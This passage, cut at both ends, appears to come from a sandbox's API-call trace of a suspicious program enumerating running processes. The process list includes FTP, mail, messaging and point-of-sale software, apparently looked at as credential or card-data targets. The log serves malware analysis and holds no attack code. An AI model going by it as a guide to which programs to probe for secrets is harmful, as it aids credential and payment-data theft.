(lpString="svchost.exe") returned 11 [0067.739] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.739] lstrlenW (lpString="svchost.exe") returned 11 [0067.739] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.739] lstrlenW (lpString="audiodg.exe") returned 11 [0067.739] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.740] lstrlenW (lpString="svchost.exe") returned 11 [0067.740] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.740] lstrlenW (lpString="svchost.exe") returned 11 [0067.740] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.740] lstrlenW (lpString="dwm.exe") returned 7 [0067.740] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.741] lstrlenW (lpString="explorer.exe") returned 12 [0067.741] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.741] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.741] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.742] lstrlenW (lpString="svchost.exe") returned 11 [0067.742] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0067.742] lstrlenW (lpString="taskhost.exe") returned 12 [0067.742] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0067.742] lstrlenW (lpString="taskeng.exe") returned 11 [0067.742] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0067.743] lstrlenW (lpString="communist_nick.exe") returned 18 [0067.743] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0067.743] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0067.743] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0067.743] lstrlenW (lpString="prize.exe") returned 9 [0067.743] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0067.744] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0067.744] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0067.744] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0067.744] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0067.744] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0067.744] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0067.745] lstrlenW (lpString="prospects.exe") returned 13 [0067.745] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0067.745] lstrlenW (lpString="signalpackard.exe") returned 17 [0067.745] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0067.746] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0067.746] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0067.746] lstrlenW (lpString="release.exe") returned 11 [0067.746] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0067.746] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0067.746] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0067.747] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0067.747] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0067.748] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0067.748] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0067.748] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0067.748] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0067.748] lstrlenW (lpString="stickers_nations.exe") returned 20 [0067.748] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0067.749] lstrlenW (lpString="initiated-scary.exe") returned 19 [0067.749] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0067.749] lstrlenW (lpString="3dftp.exe") returned 9 [0067.749] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0067.749] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0067.750] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0067.750] lstrlenW (lpString="alftp.exe") returned 9 [0067.750] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0067.750] lstrlenW (lpString="barca.exe") returned 9 [0067.750] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0067.751] lstrlenW (lpString="bitkinex.exe") returned 12 [0067.751] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0067.751] lstrlenW (lpString="coreftp.exe") returned 11 [0067.751] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0067.751] lstrlenW (lpString="far.exe") returned 7 [0067.751] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0067.752] lstrlenW (lpString="filezilla.exe") returned 13 [0067.752] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0067.752] lstrlenW (lpString="flashfxp.exe") returned 12 [0067.752] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0067.752] lstrlenW (lpString="fling.exe") returned 9 [0067.753] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0067.753] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0067.753] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0067.753] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0067.753] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0067.754] lstrlenW (lpString="icq.exe") returned 7 [0067.754] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0067.754] lstrlenW (lpString="leechftp.exe") returned 12 [0067.754] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0067.754] lstrlenW (lpString="ncftp.exe") returned 9 [0067.754] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.755] lstrlenW (lpString="notepad.exe") returned 11 [0067.755] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.755] lstrlenW (lpString="operamail.exe") returned 13 [0067.755] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.755] lstrlenW (lpString="pidgin.exe") returned 10 [0067.756] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.756] lstrlenW (lpString="scriptftp.exe") returned 13 [0067.756] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.757] lstrlenW (lpString="skype.exe") returned 9 [0067.757] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.757] lstrlenW (lpString="smartftp.exe") returned 12 [0067.757] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0067.758] lstrlenW (lpString="thunderbird.exe") returned 15 [0067.758] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0067.758] lstrlenW (lpString="totalcmd.exe") returned 12 [0067.758] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0067.759] lstrlenW (lpString="trillian.exe") returned 12 [0067.759] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0067.759] lstrlenW (lpString="webdrive.exe") returned 12 [0067.759] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.759] lstrlenW (lpString="whatsapp.exe") returned 12 [0067.759] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.760] lstrlenW (lpString="winscp.exe") returned 10 [0067.760] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.760] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0067.760] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0067.761] lstrlenW (lpString="active-charge.exe") returned 17 [0067.761] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0067.761] lstrlenW (lpString="accupos.exe") returned 11 [0067.761] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0067.761] lstrlenW (lpString="afr38.exe") returned 9 [0067.761] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0067.762] lstrlenW (lpString="aldelo.exe") returned 10 [0067.762] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0067.762] lstrlenW (lpString="ccv_server.exe") returned 14 [0067.762] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0067.762] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0067.763] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0067.763] lstrlenW (lpString="creditservice.exe") returned 17 [0067.763] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0067.763] lstrlenW (lpString="edcsvr.exe") returned 10 [0067.763] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0067.764] lstrlenW (lpString="fpos.exe") returned 8 [0067.764] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0067.764] lstrlenW (lpString="isspos.exe") returned 10 [0067.764] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0067.764] lstrlenW (lpString="mxslipstream.exe") returned 16 [0068.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0068.036] lstrlenW (lpString="omnipos.exe") returned 11 [0068.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0068.036] lstrlenW (lpString="spcwin.exe") returned 10 [0068.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0068.037] lstrlenW (lpString="spgagentservice.exe") returned 19 [0068.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0068.037] lstrlenW (lpString="utg2.exe") returned 8 [0068.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0068.038] lstrlenW (lpString="nj_sh.exe") returned 9 [0068.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0068.038] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0068.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: 